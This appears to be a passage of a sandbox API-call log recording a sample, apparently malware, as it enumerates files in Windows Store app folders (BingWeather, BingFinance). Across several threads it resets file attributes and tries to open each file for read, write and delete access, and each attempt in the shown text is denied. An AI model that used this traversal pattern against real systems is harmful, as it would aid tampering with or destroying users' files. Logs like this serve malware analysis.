	[0082.418] wcscat (in: _Dest=0x47cb288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0082.418] wcscat (in: _Dest=0x47cb288, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\*"
	[0082.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9098
	[0082.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9368ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8498
	[0082.419] wcscmp (_String1=".", _String2=".") returned 0
	[0082.419] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9368ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.419] wcscmp (_String1="..", _String2=".") returned 1
	[0082.419] wcscmp (_String1="..", _String2="..") returned 0
	[0082.419] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d0fdc78, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d0fdc78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0082.419] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0082.419] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0082.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718350
	[0082.419] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources"
	[0082.419] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0082.419] wcscat (in: _Dest=0x4718350, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0090.609] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc")) returned 0x20
	[0090.619] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0090.619] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.619] GetLastError () returned 0x5
	[0090.619] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0090.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0090.619] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d0fdc78, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d0fdc78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.rsrc", cAlternateFileName="")) returned 1
	[0090.619] wcscmp (_String1="1.rsrc", _String2=".") returned 1
	[0090.619] wcscmp (_String1="1.rsrc", _String2="..") returned 1
	[0090.619] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718f80
	[0090.619] wcscpy (in: _Dest=0x4718f80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources"
	[0090.619] wcscat (in: _Dest=0x4718f80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0090.619] wcscat (in: _Dest=0x4718f80, _Source="1.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc"
	[0090.619] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\1.rsrc")) returned 0x20
	[0090.620] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc", dwFileAttributes=0x20) returned 0
	[0090.620] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\1.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.620] GetLastError () returned 0x5
	[0090.620] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc", dwFileAttributes=0x20) returned 0
	[0090.620] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718f80) returned 1
	[0090.620] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d14a12a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d1965e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2b59, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.rsrc", cAlternateFileName="")) returned 1
	[0090.620] wcscmp (_String1="2.rsrc", _String2=".") returned 1
	[0090.620] wcscmp (_String1="2.rsrc", _String2="..") returned 1
	[0090.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718280
	[0090.620] wcscpy (in: _Dest=0x4718280, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources"
	[0090.620] wcscat (in: _Dest=0x4718280, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0090.620] wcscat (in: _Dest=0x4718280, _Source="2.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc"
	[0090.621] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\2.rsrc")) returned 0x20
	[0090.621] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc", dwFileAttributes=0x20) returned 0
	[0090.621] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\2.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.621] GetLastError () returned 0x5
	[0090.621] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\2.rsrc", dwFileAttributes=0x20) returned 0
	[0090.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718280) returned 1
	[0090.621] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1965e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d1965e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0090.621] wcscmp (_String1="index.txt", _String2=".") returned 1
	[0090.621] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0090.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e12ab8
	[0090.621] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources"
	[0090.621] wcscat (in: _Dest=0x2e12ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0090.621] wcscat (in: _Dest=0x2e12ab8, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0090.621] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\index.txt")) returned 0x20
	[0090.625] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0090.625] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.625] GetLastError () returned 0x5
	[0090.625] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0090.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0090.625] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1965e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d1965e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0090.625] FindClose (in: hFindFile=0x46a8498 | out: hFindFile=0x46a8498) returned 1
	[0090.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9098) returned 1
	[0090.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb288) returned 1
	[0090.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47697e8) returned 1

Thread:
	id = 973
	os_tid = 0x151c

	[0082.420] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.421] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.423] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.424] GetLastError () returned 0x5
	[0082.424] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1

Thread:
	id = 974
	os_tid = 0x1534

	[0082.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718eb0
	[0082.426] wcscpy (in: _Dest=0x4718eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.426] wcscat (in: _Dest=0x4718eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.426] wcscat (in: _Dest=0x4718eb0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9a38
	[0082.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x2df9a38 | out: lpFindFileData=0x2df9a38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa096b21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a84d8
	[0082.428] wcscmp (_String1=".", _String2=".") returned 0
	[0082.428] FindNextFileW (in: hFindFile=0x46a84d8, lpFindFileData=0x2df9a38 | out: lpFindFileData=0x2df9a38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa096b21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.428] wcscmp (_String1="..", _String2=".") returned 1
	[0082.428] wcscmp (_String1="..", _String2="..") returned 0
	[0082.428] FindNextFileW (in: hFindFile=0x46a84d8, lpFindFileData=0x2df9a38 | out: lpFindFileData=0x2df9a38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x65eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.428] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.428] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766410
	[0082.428] wcscpy (in: _Dest=0x4766410, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.428] wcscat (in: _Dest=0x4766410, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.428] wcscat (in: _Dest=0x4766410, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.603] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.607] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.607] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.607] GetLastError () returned 0x5
	[0090.607] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.607] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766410) returned 1
	[0090.607] FindNextFileW (in: hFindFile=0x46a84d8, lpFindFileData=0x2df9a38 | out: lpFindFileData=0x2df9a38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fa578, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x773fa578, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x773fa578, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x65eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.607] FindClose (in: hFindFile=0x46a84d8 | out: hFindFile=0x46a84d8) returned 1
	[0090.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9a38) returned 1
	[0090.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718eb0) returned 1
	[0090.608] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9020) returned 1

Thread:
	id = 975
	os_tid = 0x153c

	[0082.429] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.430] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.430] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.430] GetLastError () returned 0x5
	[0082.430] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12d40) returned 1

Thread:
	id = 976
	os_tid = 0x1540

	[0082.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766910
	[0082.431] wcscpy (in: _Dest=0x4766910, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.431] wcscat (in: _Dest=0x4766910, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.431] wcscat (in: _Dest=0x4766910, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4748a28
